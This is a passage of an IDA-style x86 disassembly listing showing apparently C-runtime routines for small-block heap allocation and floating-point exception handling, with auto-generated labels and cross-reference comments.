		and	[ebx], ecx
		jmp	short loc_4170F6
; ---------------------------------------------------------------------------


loc_4170C5:				; CODE XREF: sub_416EE3+1B5j
		lea	ecx, [edi-20h]
		mov	ebx, 80000000h
		shr	ebx, cl
		mov	ecx, [ebp+var_4]
		lea	edi, [eax+edi+4]
		lea	ecx, [eax+ecx*4+0C4h]
		not	ebx
		and	[ecx], ebx
		dec	byte ptr [edi]
		mov	[ebp+var_14], ebx
		jnz	short loc_4170F3
		mov	ebx, [ebp+arg_0]
		mov	ecx, [ebp+var_14]
		and	[ebx+4], ecx
		jmp	short loc_4170F6
; ---------------------------------------------------------------------------


loc_4170F3:				; CODE XREF: sub_416EE3+1D6j
					; sub_416EE3+203j
		mov	ebx, [ebp+arg_0]


loc_4170F6:				; CODE XREF: sub_416EE3+1B0j
					; sub_416EE3+1E0j ...
		mov	ecx, [edx+8]
		mov	edi, [edx+4]
		cmp	[ebp+var_8], 0
		mov	[ecx+4], edi
		mov	ecx, [edx+4]
		mov	edi, [edx+8]
		mov	[ecx+8], edi
		jz	loc_4171A6
		mov	ecx, [ebp+var_C]
		mov	edi, [ecx+esi*8+4]
		lea	ecx, [ecx+esi*8]
		mov	[edx+4], edi
		mov	[edx+8], ecx
		mov	[ecx+4], edx
		mov	ecx, [edx+4]
		mov	[ecx+8], edx
		mov	ecx, [edx+4]
		cmp	ecx, [edx+8]
		jnz	short loc_417197
		mov	cl, [esi+eax+4]
		cmp	esi, 20h
		mov	byte ptr [ebp+arg_0+3],	cl
		jge	short loc_417168
		inc	cl
		cmp	byte ptr [ebp+arg_0+3],	0
		mov	[esi+eax+4], cl
		jnz	short loc_417156
		mov	edi, 80000000h
		mov	ecx, esi
		shr	edi, cl
		or	[ebx], edi


loc_417156:				; CODE XREF: sub_416EE3+266j
		mov	edi, 80000000h
		mov	ecx, esi
		shr	edi, cl
		mov	ecx, [ebp+var_4]
		or	[eax+ecx*4+44h], edi
		jmp	short loc_417197
; ---------------------------------------------------------------------------


loc_417168:				; CODE XREF: sub_416EE3+25Aj
		inc	cl
		cmp	byte ptr [ebp+arg_0+3],	0
		mov	[esi+eax+4], cl
		jnz	short loc_417181
		lea	ecx, [esi-20h]
		mov	edi, 80000000h
		shr	edi, cl
		or	[ebx+4], edi


loc_417181:				; CODE XREF: sub_416EE3+28Fj
		mov	ecx, [ebp+var_4]
		lea	edi, [eax+ecx*4+0C4h]
		lea	ecx, [esi-20h]
		mov	esi, 80000000h
		shr	esi, cl
		or	[edi], esi


loc_417197:				; CODE XREF: sub_416EE3+24Ej
					; sub_416EE3+283j
		mov	ecx, [ebp+var_8]


loc_41719A:				; CODE XREF: sub_416EE3+1A4j
		test	ecx, ecx
		jz	short loc_4171A9
		mov	[edx], ecx
		mov	[ecx+edx-4], ecx
		jmp	short loc_4171A9
; ---------------------------------------------------------------------------


loc_4171A6:				; CODE XREF: sub_416EE3+229j
		mov	ecx, [ebp+var_8]


loc_4171A9:				; CODE XREF: sub_416EE3+2B9j
					; sub_416EE3+2C1j
		mov	esi, [ebp+var_10]
		add	edx, ecx
		lea	ecx, [esi+1]
		mov	[edx], ecx
		mov	[edx+esi-4], ecx
		mov	esi, [ebp+var_C]
		mov	ecx, [esi]
		test	ecx, ecx
		lea	edi, [ecx+1]
		mov	[esi], edi
		jnz	short loc_4171DF
		cmp	ebx, ds:dword_45FE54
		jnz	short loc_4171DF
		mov	ecx, [ebp+var_4]
		cmp	ecx, ds:dword_45FE4C
		jnz	short loc_4171DF
		and	ds:dword_45FE54, 0


loc_4171DF:				; CODE XREF: sub_416EE3+2E0j
					; sub_416EE3+2E8j ...
		mov	ecx, [ebp+var_4]
		mov	[eax], ecx
		lea	eax, [edx+4]


loc_4171E7:				; CODE XREF: sub_416EE3+F0j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_416EE3	endp


; =============== S U B	R O U T	I N E =======================================



sub_4171EC	proc near		; CODE XREF: sub_416EE3+CCp
		mov	eax, ds:dword_45FE58
		mov	ecx, ds:dword_45FE48
		push	esi
		push	edi
		xor	edi, edi
		cmp	eax, ecx
		jnz	short loc_41722F
		lea	eax, [ecx+ecx*4+50h]
		shl	eax, 2
		push	eax
		push	ds:dword_45FE5C
		push	edi
		push	ds:dword_45FE60
		call	ds:dword_41F154	; RtlReAllocateHeap
		cmp	eax, edi
		jz	short loc_41727F
		add	ds:dword_45FE48, 10h
		mov	ds:dword_45FE5C, eax
		mov	eax, ds:dword_45FE58


loc_41722F:				; CODE XREF: sub_4171EC+11j
		mov	ecx, ds:dword_45FE5C
		push	41C4h
		push	8
		lea	eax, [eax+eax*4]
		push	ds:dword_45FE60
		lea	esi, [ecx+eax*4]
		call	ds:dword_41F140	; RtlAllocateHeap
		cmp	eax, edi
		mov	[esi+10h], eax
		jz	short loc_41727F
		push	4
		push	2000h
		push	100000h
		push	edi
		call	ds:dword_41F170	; VirtualAlloc
		cmp	eax, edi
		mov	[esi+0Ch], eax
		jnz	short loc_417283
		push	dword ptr [esi+10h]
		push	edi
		push	ds:dword_45FE60
		call	ds:dword_41F144	; RtlFreeHeap


loc_41727F:				; CODE XREF: sub_4171EC+30j
					; sub_4171EC+67j
		xor	eax, eax
		jmp	short loc_41729A
; ---------------------------------------------------------------------------


loc_417283:				; CODE XREF: sub_4171EC+81j
		or	dword ptr [esi+8], 0FFFFFFFFh
		mov	[esi], edi
		mov	[esi+4], edi
		inc	ds:dword_45FE58
		mov	eax, [esi+10h]
		or	dword ptr [eax], 0FFFFFFFFh
		mov	eax, esi


loc_41729A:				; CODE XREF: sub_4171EC+95j
		pop	edi
		pop	esi
		retn
sub_4171EC	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41729D	proc near		; CODE XREF: sub_416EE3+DBp

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	ecx, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		mov	esi, [ecx+10h]
		mov	eax, [ecx+8]
		xor	ebx, ebx


loc_4172AF:				; CODE XREF: sub_41729D+19j
		test	eax, eax
		jl	short loc_4172B8
		shl	eax, 1
		inc	ebx
		jmp	short loc_4172AF
; ---------------------------------------------------------------------------


loc_4172B8:				; CODE XREF: sub_41729D+14j
		mov	eax, ebx
		push	3Fh
		imul	eax, 204h
		pop	edx
		lea	eax, [eax+esi+144h]
		mov	[ebp+var_4], eax


loc_4172CD:				; CODE XREF: sub_41729D+3Aj
		mov	[eax+8], eax
		mov	[eax+4], eax
		add	eax, 8
		dec	edx
		jnz	short loc_4172CD
		mov	edi, ebx
		push	4
		shl	edi, 0Fh
		add	edi, [ecx+0Ch]
		push	1000h
		push	8000h
		push	edi
		call	ds:dword_41F170	; VirtualAlloc
		test	eax, eax
		jnz	short loc_417300
		or	eax, 0FFFFFFFFh
		jmp	loc_417393
; ---------------------------------------------------------------------------


loc_417300:				; CODE XREF: sub_41729D+59j
		lea	edx, [edi+7000h]
		cmp	edi, edx
		ja	short loc_417346
		lea	eax, [edi+10h]


loc_41730D:				; CODE XREF: sub_41729D+A7j
		or	dword ptr [eax-8], 0FFFFFFFFh
		or	dword ptr [eax+0FECh], 0FFFFFFFFh
		lea	ecx, [eax+0FFCh]
		mov	dword ptr [eax-4], 0FF0h
		mov	[eax], ecx
		lea	ecx, [eax-1004h]
		mov	[eax+4], ecx
		mov	dword ptr [eax+0FE8h], 0FF0h
		add	eax, 1000h
		lea	ecx, [eax-10h]
		cmp	ecx, edx
		jbe	short loc_41730D


loc_417346:				; CODE XREF: sub_41729D+6Bj
		mov	eax, [ebp+var_4]
		lea	ecx, [edi+0Ch]
		add	eax, 1F8h
		push	1
		pop	edi
		mov	[eax+4], ecx
		mov	[ecx+8], eax
		lea	ecx, [edx+0Ch]
		mov	[eax+8], ecx
		mov	[ecx+4], eax
		and	dword ptr [esi+ebx*4+44h], 0
		mov	[esi+ebx*4+0C4h], edi
		mov	al, [esi+43h]
		mov	cl, al
		inc	cl
		test	al, al
		mov	eax, [ebp+arg_0]
		mov	[esi+43h], cl
		jnz	short loc_417383
		or	[eax+4], edi


loc_417383:				; CODE XREF: sub_41729D+E1j
		mov	edx, 80000000h
		mov	ecx, ebx
		shr	edx, cl
		not	edx
		and	[eax+8], edx
		mov	eax, ebx


loc_417393:				; CODE XREF: sub_41729D+5Ej
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41729D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_417398	proc near		; CODE XREF: sub_41556F+58p

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		mov	ecx, [ebp+arg_0]
		mov	eax, [ebp+arg_8]
		push	ebx
		push	esi
		push	edi
		mov	edi, [ebp+arg_4]
		mov	edx, edi
		lea	esi, [eax+17h]
		sub	edx, [ecx+0Ch]
		mov	eax, [ecx+10h]
		and	esi, 0FFFFFFF0h
		shr	edx, 0Fh
		mov	ecx, edx
		imul	ecx, 204h
		lea	ecx, [ecx+eax+144h]
		mov	[ebp+var_C], ecx
		mov	ecx, [edi-4]
		dec	ecx
		cmp	esi, ecx
		mov	[ebp+arg_8], ecx
		mov	ebx, [ecx+edi-4]
		lea	edi, [ecx+edi-4]
		mov	[ebp+var_4], ebx
		jle	loc_417546
		test	bl, 1
		jnz	loc_41753F
		add	ebx, ecx
		cmp	esi, ebx
		jg	loc_41753F
		mov	ecx, [ebp+var_4]
		sar	ecx, 4
		dec	ecx
		cmp	ecx, 3Fh
		mov	[ebp+var_8], ecx
		jbe	short loc_41740F
		push	3Fh
		pop	ecx
		mov	[ebp+var_8], ecx


loc_41740F:				; CODE XREF: sub_417398+6Fj
		mov	ebx, [edi+4]
		cmp	ebx, [edi+8]
		jnz	short loc_41745F
		cmp	ecx, 20h
		jnb	short loc_41743B
		mov	ebx, 80000000h
		shr	ebx, cl
		mov	ecx, [ebp+var_8]
		lea	ecx, [ecx+eax+4]
		not	ebx
		and	[eax+edx*4+44h], ebx
		dec	byte ptr [ecx]
		jnz	short loc_41745F
		mov	ecx, [ebp+arg_0]
		and	[ecx], ebx
		jmp	short loc_41745F
; ---------------------------------------------------------------------------


loc_41743B:				; CODE XREF: sub_417398+82j
		add	ecx, 0FFFFFFE0h
		mov	ebx, 80000000h
		shr	ebx, cl
		mov	ecx, [ebp+var_8]
		lea	ecx, [ecx+eax+4]
		not	ebx
		and	[eax+edx*4+0C4h], ebx
		dec	byte ptr [ecx]
		jnz	short loc_41745F
		mov	ecx, [ebp+arg_0]
		and	[ecx+4], ebx


loc_41745F:				; CODE XREF: sub_417398+7Dj
					; sub_417398+9Aj ...
		mov	ecx, [edi+8]
		mov	ebx, [edi+4]
		mov	[ecx+4], ebx
		mov	ecx, [edi+4]
		mov	edi, [edi+8]
		mov	[ecx+8], edi
		mov	ecx, [ebp+arg_8]
		sub	ecx, esi
		add	[ebp+var_4], ecx
		cmp	[ebp+var_4], 0
		jle	loc_41752D
		mov	edi, [ebp+var_4]
		mov	ecx, [ebp+arg_4]
		sar	edi, 4
		dec	edi
		lea	ecx, [ecx+esi-4]
		cmp	edi, 3Fh
		jbe	short loc_417499
		push	3Fh
		pop	edi


loc_417499:				; CODE XREF: sub_417398+FCj
		mov	ebx, [ebp+var_C]
		lea	ebx, [ebx+edi*8]
		mov	[ebp+arg_8], ebx
		mov	ebx, [ebx+4]
		mov	[ecx+4], ebx
		mov	ebx, [ebp+arg_8]
		mov	[ecx+8], ebx
		mov	[ebx+4], ecx
		mov	ebx, [ecx+4]
		mov	[ebx+8], ecx
		mov	ebx, [ecx+4]
		cmp	ebx, [ecx+8]
		jnz	short loc_41751B
		mov	cl, [edi+eax+4]
		cmp	edi, 20h
		mov	byte ptr [ebp+arg_8+3],	cl
		inc	cl
		mov	[edi+eax+4], cl
		jnb	short loc_4174F2
		cmp	byte ptr [ebp+arg_8+3],	0
		jnz	short loc_4174E5
		mov	ebx, 80000000h
		mov	ecx, edi
		shr	ebx, cl
		mov	ecx, [ebp+arg_0]
		or	[ecx], ebx


loc_4174E5:				; CODE XREF: sub_417398+13Dj
		lea	eax, [eax+edx*4+44h]
		mov	edx, 80000000h
		mov	ecx, edi
		jmp	short loc_417517
; ---------------------------------------------------------------------------


loc_4174F2:				; CODE XREF: sub_417398+137j
		cmp	byte ptr [ebp+arg_8+3],	0
		jnz	short loc_417508
		lea	ecx, [edi-20h]
		mov	ebx, 80000000h
		shr	ebx, cl
		mov	ecx, [ebp+arg_0]
		or	[ecx+4], ebx


loc_417508:				; CODE XREF: sub_417398+15Ej
		lea	eax, [eax+edx*4+0C4h]
		lea	ecx, [edi-20h]
		mov	edx, 80000000h


loc_417517:				; CODE XREF: sub_417398+158j
		shr	edx, cl
		or	[eax], edx


loc_41751B:				; CODE XREF: sub_417398+125j
		mov	edx, [ebp+arg_4]
		mov	ecx, [ebp+var_4]
		lea	eax, [edx+esi-4]
		mov	[eax], ecx
		mov	[ecx+eax-4], ecx
		jmp	short loc_417530
; ---------------------------------------------------------------------------


loc_41752D:				; CODE XREF: sub_417398+E5j
		mov	edx, [ebp+arg_4]


loc_417530:				; CODE XREF: sub_417398+193j
		lea	eax, [esi+1]
		mov	[edx-4], eax
		mov	[edx+esi-8], eax
		jmp	loc_417686
; ---------------------------------------------------------------------------


loc_41753F:				; CODE XREF: sub_417398+52j
					; sub_417398+5Cj
		xor	eax, eax
		jmp	loc_417689
; ---------------------------------------------------------------------------


loc_417546:				; CODE XREF: sub_417398+49j
		jge	loc_417686
		mov	ebx, [ebp+arg_4]
		sub	[ebp+arg_8], esi
		lea	ecx, [esi+1]
		mov	[ebx-4], ecx
		lea	ebx, [ebx+esi-4]
		mov	esi, [ebp+arg_8]
		mov	[ebp+arg_4], ebx
		sar	esi, 4
		dec	esi
		mov	[ebx-4], ecx
		cmp	esi, 3Fh
		jbe	short loc_417571
		push	3Fh
		pop	esi


loc_417571:				; CODE XREF: sub_417398+1D4j
		test	byte ptr [ebp+var_4], 1
		jnz	loc_417600
		mov	esi, [ebp+var_4]
		sar	esi, 4
		dec	esi
		cmp	esi, 3Fh
		jbe	short loc_41758A
		push	3Fh
		pop	esi


loc_41758A:				; CODE XREF: sub_417398+1EDj
		mov	ecx, [edi+4]
		cmp	ecx, [edi+8]
		jnz	short loc_4175D9
		cmp	esi, 20h
		jnb	short loc_4175B5
		mov	ebx, 80000000h
		mov	ecx, esi
		shr	ebx, cl
		lea	esi, [esi+eax+4]
		not	ebx
		and	[eax+edx*4+44h], ebx
		dec	byte ptr [esi]
		jnz	short loc_4175D6
		mov	ecx, [ebp+arg_0]
		and	[ecx], ebx
		jmp	short loc_4175D6
; ---------------------------------------------------------------------------


loc_4175B5:				; CODE XREF: sub_417398+1FDj
		lea	ecx, [esi-20h]
		mov	ebx, 80000000h
		shr	ebx, cl
		lea	ecx, [esi+eax+4]
		not	ebx
		and	[eax+edx*4+0C4h], ebx
		dec	byte ptr [ecx]
		jnz	short loc_4175D6
		mov	ecx, [ebp+arg_0]
		and	[ecx+4], ebx


loc_4175D6:				; CODE XREF: sub_417398+214j
					; sub_417398+21Bj ...
		mov	ebx, [ebp+arg_4]


loc_4175D9:				; CODE XREF: sub_417398+1F8j
		mov	ecx, [edi+8]
		mov	esi, [edi+4]
		mov	[ecx+4], esi
		mov	ecx, [edi+4]
		mov	esi, [edi+8]
		mov	[ecx+8], esi
		mov	esi, [ebp+arg_8]
		add	esi, [ebp+var_4]
		mov	[ebp+arg_8], esi
		sar	esi, 4
		dec	esi
		cmp	esi, 3Fh
		jbe	short loc_417600
		push	3Fh
		pop	esi


loc_417600:				; CODE XREF: sub_417398+1DDj
					; sub_417398+263j
		mov	ecx, [ebp+var_C]
		mov	edi, [ecx+esi*8+4]
		lea	ecx, [ecx+esi*8]
		mov	[ebx+4], edi
		mov	[ebx+8], ecx
		mov	[ecx+4], ebx
		mov	ecx, [ebx+4]
		mov	[ecx+8], ebx
		mov	ecx, [ebx+4]
		cmp	ecx, [ebx+8]
		jnz	short loc_41767D
		mov	cl, [esi+eax+4]
		cmp	esi, 20h
		mov	byte ptr [ebp+arg_4+3],	cl
		inc	cl
		mov	[esi+eax+4], cl
		jnb	short loc_417654
		cmp	byte ptr [ebp+arg_4+3],	0
		jnz	short loc_417647
		mov	edi, 80000000h
		mov	ecx, esi
		shr	edi, cl
		mov	ecx, [ebp+arg_0]
		or	[ecx], edi


loc_417647:				; CODE XREF: sub_417398+29Fj
		lea	eax, [eax+edx*4+44h]
		mov	edx, 80000000h
		mov	ecx, esi
		jmp	short loc_417679
; ---------------------------------------------------------------------------


loc_417654:				; CODE XREF: sub_417398+299j
		cmp	byte ptr [ebp+arg_4+3],	0
		jnz	short loc_41766A
		lea	ecx, [esi-20h]
		mov	edi, 80000000h
		shr	edi, cl
		mov	ecx, [ebp+arg_0]
		or	[ecx+4], edi


loc_41766A:				; CODE XREF: sub_417398+2C0j
		lea	eax, [eax+edx*4+0C4h]
		lea	ecx, [esi-20h]
		mov	edx, 80000000h


loc_417679:				; CODE XREF: sub_417398+2BAj
		shr	edx, cl
		or	[eax], edx


loc_41767D:				; CODE XREF: sub_417398+287j
		mov	eax, [ebp+arg_8]
		mov	[ebx], eax
		mov	[eax+ebx-4], eax


loc_417686:				; CODE XREF: sub_417398+1A2j
					; sub_417398:loc_417546j
		push	1
		pop	eax


loc_417689:				; CODE XREF: sub_417398+1A9j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_417398	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __fastcall sub_41768E(int, int, double, int)

sub_41768E	proc near		; CODE XREF: sub_413F02+51p
					; sub_41404B+51p

var_1C		= qword	ptr -1Ch
var_14		= qword	ptr -14h
var_C		= qword	ptr -0Ch
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		cmp	ds:dword_42DA68, 0
		jnz	short loc_4176C3
		push	[ebp+arg_C]	; int
		fld	qword ptr [ebp+arg_4]
		push	ecx
		push	ecx		; double
		fstp	[esp+0Ch+var_C]
		push	ecx		; int
		push	ecx		; int
		fldz
		fstp	[esp+14h+var_14]
		fld	qword ptr [ebp+arg_4]
		push	ecx		; int
		push	ecx		; int
		fstp	[esp+1Ch+var_1C]
		push	[ebp+arg_0]	; int
		push	1		; int
		call	sub_417C43
		add	esp, 24h
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_4176C3:				; CODE XREF: sub_41768E+Aj
		push	0FFFFh
		mov	ds:dword_45E804, 21h
		push	[ebp+arg_C]
		call	sub_417EB6
		fld	qword ptr [ebp+arg_4]
		pop	ecx
		pop	ecx
		pop	ebp
		retn
sub_41768E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_4176E1(int, int, double, double, int)

sub_4176E1	proc near		; CODE XREF: sub_413F02:loc_413FC5p
					; sub_41404B:loc_41410Ep

var_74		= qword	ptr -74h
var_6C		= qword	ptr -6Ch
var_64		= qword	ptr -64h
var_5C		= dword	ptr -5Ch
var_58		= byte ptr -58h
var_20		= dword	ptr -20h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= qword	ptr  10h
arg_10		= qword	ptr  18h
arg_18		= dword	ptr  20h

		push	ebp
		mov	ebp, esp
		sub	esp, 58h
		push	[ebp+arg_18]
		lea	eax, [ebp+arg_10]
		push	eax
		push	[ebp+arg_0]
		call	sub_417A2C
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_41771F
		lea	eax, [ebp+arg_10]
		and	[ebp+var_20], 0FFFFFFFEh
		push	eax
		lea	eax, [ebp+arg_8]
		push	eax
		lea	eax, [ebp+arg_18]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		push	eax
		lea	eax, [ebp+var_58]
		push	eax
		call	sub_417779
		add	esp, 18h


loc_41771F:				; CODE XREF: sub_4176E1+1Aj
		push	[ebp+arg_0]
		call	sub_417D16
		cmp	ds:dword_42DA68, 0
		pop	ecx
		jnz	short loc_41775D
		test	eax, eax
		jz	short loc_41775D
		push	[ebp+arg_18]	; int
		fld	[ebp+arg_10]
		push	ecx
		push	ecx		; double
		fstp	[esp+64h+var_64]
		push	ecx		; int
		push	ecx		; int
		fldz
		fstp	[esp+6Ch+var_6C]
		fld	[ebp+arg_8]
		push	ecx		; int
		push	ecx		; int
		fstp	[esp+74h+var_74]
		push	[ebp+arg_4]	; int
		push	eax		; int
		call	sub_417C43
		add	esp, 24h
		leave
		retn
; ---------------------------------------------------------------------------


loc_41775D:				; CODE XREF: sub_4176E1+4Ej
					; sub_4176E1+52j
		push	eax
		call	sub_417CCB
		mov	[esp+5Ch+var_5C], 0FFFFh
		push	[ebp+arg_18]
		call	sub_417EB6
		fld	[ebp+arg_10]
		pop	ecx
		pop	ecx
		leave
		retn
sub_4176E1	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_417779	proc near		; CODE XREF: sub_4176E1+36p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch

		push	ebp
		mov	ebp, esp
		mov	ecx, [ebp+arg_0]
		xor	eax, eax
		push	ebx
		push	esi
		mov	[ecx+4], eax
		mov	ecx, [ebp+arg_0]
		push	edi
		push	1
		mov	[ecx+8], eax
		mov	ecx, [ebp+arg_0]
		pop	ebx
		mov	[ecx+0Ch], eax
		mov	cl, byte ptr [ebp+arg_8]
		test	cl, 10h
		jz	short loc_4177AB
		mov	eax, [ebp+arg_0]
		mov	[ebp+arg_8], 0C000008Fh
		or	[eax+4], ebx


loc_4177AB:				; CODE XREF: sub_417779+23j
		test	cl, 2
		jz	short loc_4177BE
		mov	eax, [ebp+arg_0]
		mov	[ebp+arg_8], 0C0000093h
		or	dword ptr [eax+4], 2


loc_4177BE:				; CODE XREF: sub_417779+35j
		test	cl, bl
		jz	short loc_4177D0
		mov	eax, [ebp+arg_0]
		mov	[ebp+arg_8], 0C0000091h
		or	dword ptr [eax+4], 4


loc_4177D0:				; CODE XREF: sub_417779+47j
		test	cl, 4
		jz	short loc_4177E3
		mov	eax, [ebp+arg_0]
		mov	[ebp+arg_8], 0C000008Eh
		or	dword ptr [eax+4], 8


loc_4177E3:				; CODE XREF: sub_417779+5Aj
		test	cl, 8
		jz	short loc_4177F6
		mov	eax, [ebp+arg_0]
		mov	[ebp+arg_8], 0C0000090h
		or	dword ptr [eax+4], 10h


loc_4177F6:				; CODE XREF: sub_417779+6Dj
		mov	esi, [ebp+arg_4]
		mov	eax, [ebp+arg_0]
		push	2
		mov	ecx, [esi]
		mov	edx, [eax+8]
		not	ecx
		and	ecx, ebx
		and	edx, 0FFFFFFEFh
		shl	ecx, 4
		or	ecx, edx
		pop	edi
		mov	[eax+8], ecx
		mov	ecx, [esi]
		mov	eax, [ebp+arg_0]
		not	ecx
		mov	edx, [eax+8]
		and	ecx, 4
		shl	ecx, 1
		and	edx, 0FFFFFFF7h
		or	ecx, edx
		mov	[eax+8], ecx
		mov	ecx, [esi]
		mov	eax, [ebp+arg_0]
		not	ecx
		mov	edx, [eax+8]
		shr	ecx, 1
		and	ecx, 4
		and	edx, 0FFFFFFFBh
		or	ecx, edx
		mov	[eax+8], ecx
		mov	ecx, [esi]
		mov	eax, [ebp+arg_0]
		not	ecx
		mov	edx, [eax+8]
		shr	ecx, 3
		and	ecx, edi
		and	edx, 0FFFFFFFDh
		or	ecx, edx
		mov	[eax+8], ecx
		mov	ecx, [esi]
		mov	eax, [ebp+arg_0]
		not	ecx
		mov	edx, [eax+8]
		shr	ecx, 5
		and	ecx, ebx
		and	edx, 0FFFFFFFEh
		or	ecx, edx
		mov	[eax+8], ecx
		call	sub_417E99
		test	al, bl
		jz	short loc_41787F
		mov	ecx, [ebp+arg_0]
		or	dword ptr [ecx+0Ch], 10h


loc_41787F:				; CODE XREF: sub_417779+FDj
		test	al, 4
		jz	short loc_41788A
		mov	ecx, [ebp+arg_0]
		or	dword ptr [ecx+0Ch], 8


loc_41788A:				; CODE XREF: sub_417779+108j
		test	al, 8
		jz	short loc_417895
		mov	ecx, [ebp+arg_0]
		or	dword ptr [ecx+0Ch], 4


loc_417895:				; CODE XREF: sub_417779+113j
		test	al, 10h
		jz	short loc_41789F
		mov	ecx, [ebp+arg_0]
		or	[ecx+0Ch], edi


loc_41789F:				; CODE XREF: sub_417779+11Ej
		test	al, 20h
		jz	short loc_4178A9
		mov	eax, [ebp+arg_0]
		or	[eax+0Ch], ebx


loc_4178A9:				; CODE XREF: sub_417779+128j
		mov	eax, [esi]
		mov	ecx, 0C00h
		and	eax, ecx
		jz	short loc_4178E8
		cmp	eax, 400h
		jz	short loc_4178DA
		cmp	eax, 800h
		jz	short loc_4178CE
		cmp	eax, ecx
		jnz	short loc_4178EE
		mov	eax, [ebp+arg_0]
		or	dword ptr [eax], 3
		jmp	short loc_4178EE
; ---------------------------------------------------------------------------


loc_4178CE:				; CODE XREF: sub_417779+147j
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax]
		and	ecx, 0FFFFFFFEh
		or	ecx, edi
		jmp	short loc_4178E4
; ---------------------------------------------------------------------------


loc_4178DA:				; CODE XREF: sub_417779+140j
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax]
		and	ecx, 0FFFFFFFDh
		or	ecx, ebx


loc_4178E4:				; CODE XREF: sub_417779+15Fj
		mov	[eax], ecx
		jmp	short loc_4178EE
; ---------------------------------------------------------------------------


loc_4178E8:				; CODE XREF: sub_417779+139j
		mov	eax, [ebp+arg_0]
		and	dword ptr [eax], 0FFFFFFFCh


loc_4178EE:				; CODE XREF: sub_417779+14Bj
					; sub_417779+153j ...
		mov	eax, [esi]
		mov	ecx, 300h
		and	eax, ecx
		jz	short loc_417919
		cmp	eax, 200h
		jz	short loc_41790C
		cmp	eax, ecx
		jnz	short loc_417926
		mov	eax, [ebp+arg_0]
		and	dword ptr [eax], 0FFFFFFE3h
		jmp	short loc_417926
; ---------------------------------------------------------------------------


loc_41790C:				; CODE XREF: sub_417779+185j
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax]
		and	ecx, 0FFFFFFE7h
		or	ecx, 4
		jmp	short loc_417924
; ---------------------------------------------------------------------------


loc_417919:				; CODE XREF: sub_417779+17Ej
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax]
		and	ecx, 0FFFFFFEBh
		or	ecx, 8


loc_417924:				; CODE XREF: sub_417779+19Ej
		mov	[eax], ecx


loc_417926:				; CODE XREF: sub_417779+189j
					; sub_417779+191j
		mov	eax, [ebp+arg_0]
		mov	ecx, [ebp+arg_C]
		and	ecx, 0FFFh
		mov	edx, [eax]
		shl	ecx, 5
		and	edx, 0FFFE001Fh
		or	ecx, edx
		mov	[eax], ecx
		mov	eax, [ebp+arg_0]
		or	[eax+20h], ebx
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax+20h]
		and	ecx, 0FFFFFFE3h
		or	ecx, edi
		mov	[eax+20h], ecx
		mov	eax, [ebp+arg_10]
		fld	qword ptr [eax]
		mov	eax, [ebp+arg_0]
		fstp	qword ptr [eax+10h]
		mov	eax, [ebp+arg_0]
		or	[eax+50h], ebx
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax+50h]
		and	ecx, 0FFFFFFE3h
		or	ecx, edi
		mov	edi, [ebp+arg_14]
		mov	[eax+50h], ecx
		mov	eax, [ebp+arg_0]
		fld	qword ptr [edi]
		fstp	qword ptr [eax+40h]
		call	sub_417EA7
		lea	eax, [ebp+arg_0]
		push	eax
		push	ebx
		push	0
		push	[ebp+arg_8]
		call	ds:dword_41F178	; RaiseException
		mov	eax, [ebp+arg_0]
		test	byte ptr [eax+8], 10h
		jz	short loc_4179A0
		and	dword ptr [esi], 0FFFFFFFEh


loc_4179A0:				; CODE XREF: sub_417779+222j
		test	byte ptr [eax+8], 8
		jz	short loc_4179A9
		and	dword ptr [esi], 0FFFFFFFBh


loc_4179A9:				; CODE XREF: sub_417779+22Bj
		test	byte ptr [eax+8], 4
		jz	short loc_4179B2
		and	dword ptr [esi], 0FFFFFFF7h


loc_4179B2:				; CODE XREF: sub_417779+234j
		test	byte ptr [eax+8], 2
		jz	short loc_4179BB
		and	dword ptr [esi], 0FFFFFFEFh


loc_4179BB:				; CODE XREF: sub_417779+23Dj
		test	[eax+8], bl
		jz	short loc_4179C3
		and	dword ptr [esi], 0FFFFFFDFh


loc_4179C3:				; CODE XREF: sub_417779+245j
		mov	ecx, [eax]
		mov	edx, 0FFFFF3FFh
		and	ecx, 3
		sub	ecx, 0
		jz	short loc_4179F7
		dec	ecx
		jz	short loc_4179EB
		dec	ecx
		jz	short loc_4179E1
		dec	ecx
		jnz	short loc_4179F9
		or	byte ptr [esi+1], 0Ch
		jmp	short loc_4179F9
; ---------------------------------------------------------------------------


loc_4179E1:				; CODE XREF: sub_417779+25Dj
		mov	ecx, [esi]
		and	ch, 0FBh
		or	ch, 8
		jmp	short loc_4179F3
; ---------------------------------------------------------------------------


loc_4179EB:				; CODE XREF: sub_417779+25Aj
		mov	ecx, [esi]
		and	ch, 0F7h
		or	ch, 4


loc_4179F3:				; CODE XREF: sub_417779+270j
		mov	[esi], ecx
		jmp	short loc_4179F9
; ---------------------------------------------------------------------------


loc_4179F7:				; CODE XREF: sub_417779+257j
		and	[esi], edx


loc_4179F9:				; CODE XREF: sub_417779+260j
